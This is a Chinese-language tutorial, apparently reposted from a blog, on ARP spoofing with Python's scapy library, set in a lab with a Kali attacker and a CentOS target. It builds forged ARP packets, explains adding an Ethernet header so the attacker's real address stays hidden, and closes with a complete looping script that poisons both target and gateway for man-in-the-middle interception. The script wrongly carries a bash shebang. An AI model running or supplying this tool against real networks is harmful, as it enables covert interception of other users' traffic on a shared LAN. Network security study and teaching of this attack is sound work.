栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

python编写arp攻击与欺骗脚本

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python编写arp攻击与欺骗脚本

目录

1.arp欺骗

2.arp欺骗实验

 2.1 构造arp包

2.2 发送数据包

 2.3 查看路由表

 3.完善arp欺骗过程

 4. 编写arp欺骗脚本


1.arp欺骗

arp欺骗是数据链路层的攻击,在数据链路层是通过mac地址来发送报文的,所以需要将网络层的ip对应到mac地址,由于arp协议是基于局域网内主机互相信任的基础上的,如果我们构造并发送了一个arp欺骗包,就可以实现arp欺骗。

2.arp欺骗实验

攻击者:kali,192.168.20.128,29:ff:fe:5a:37:4f

靶机:centos,192.168.20.130,2a:90:fd:63:41:97

网关:192.168.20.254

  1.  2.1 构造arp包

  2. 将靶机ip填写到pdst中,将需要冒充的ip写到psrc中

2.2 发送数据包

sr1代表发送数据包,并且接受第一个返回数据包,可以用show()方法查看返回数据包的内容

 2.3 查看路由表

可以看到我们伪造的192.168.20.2的ip地址对应的mac地址确实变成kali的mac地址,但同时路由表中也存在着kali的真实ip,这就意味着同一个mac地址对应到了两个ip地址,很容易被发现arp欺骗

 为了搞清楚为什么kali会暴露自己真实的ip地址,用wireshark抓取整个过程的数据包

发现kali在欺骗之前首先先发了一个广播包,找靶机,这里靶机就能获取到kali的真实ip和mac

出现这种情况的原因是我们没有定义ethernet 2帧头,kali就主动发送广播包问谁是靶机,然后带上真实的ip和mac地址,因此要事先定义帧头

 3.完善arp欺骗过程

构造数据包如下:

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(psrc="192.168.20.254",pdst="192.168.20.130",hwdst="2a:90:fd:63:41:97"))

Ether()就是我们定义的帧头

/的做作用是将两个数据包拼凑起来,但数据包必须按照网络的层次排列

send表示只发送数据包,不接收返回,加上p表示数据包是在数据链路层上传输的

发送数据包后看到此次并没有发送kali的真实ip

 靶机的路由表中也没有发现kali的ip

 4. 编写arp欺骗脚本

编写脚本要注意,arp欺骗是双向的,也就是kali既要欺骗靶机,也要欺骗网关,这样才能让靶机感受不到差别;同时构造arp欺骗包是要加上帧头不被察觉;

代码如下:

	#!/bin/bash
	
	from scapy.all import *
	import time
	import sys
	
	# 构造并发送arp欺骗包的函数
	def arp(pdst, psrc):
	    pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=pdst,psrc=psrc)
	    sendp(pkt)
	    return
	
	# 实行arp欺骗的函数
	def main():
		# 接收命令行的参数
	    if len(sys.argv)!=2:
	        print("invalid value")
	        print("pdst")
	        sys.exit()
	
	    # 拿到的是靶机的ip
	    pdst = str(sys.argv[1]).strip()
	    pdst_lst = pdst.split(".")
	    pdst_lst[3] = "1"
	    # 下面获取网关的ip
	    pgateway = ""
	    for i in pdst_lst:
	        pgateway = pgateway + i + "."
	    pgateway = pgateway[0:-1]
	    print(pgateway)
	
	    # 对靶机和网关实行arp欺骗
	    while True:
	        try:
	            arp(pdst,pgateway)
	            arp(pgateway,pdst)
	            time.sleep(0.5)
	        # 键盘按下ctr+c自动停止
	        except KeyboardInterrupt:
	            print("over")
	            break
	
	if __name__ == "__main__":
	    main()

解释:

1. from scapy.all import *,导入scapy模块来编写arp欺骗脚本

2. if len(sys.argv)!=2:,这里是需要运行脚本的时候传入靶机的ip地址作为参数,如果传入的参数个数不对就会退出

3. 脚本中网关的ip是根据传入的靶机的ip自动获取的

4. arp(pdst,pgateway),arp(pgateway,pdst),这两个函数的调用就实现了对靶机和网关的双向欺骗

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/941357.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号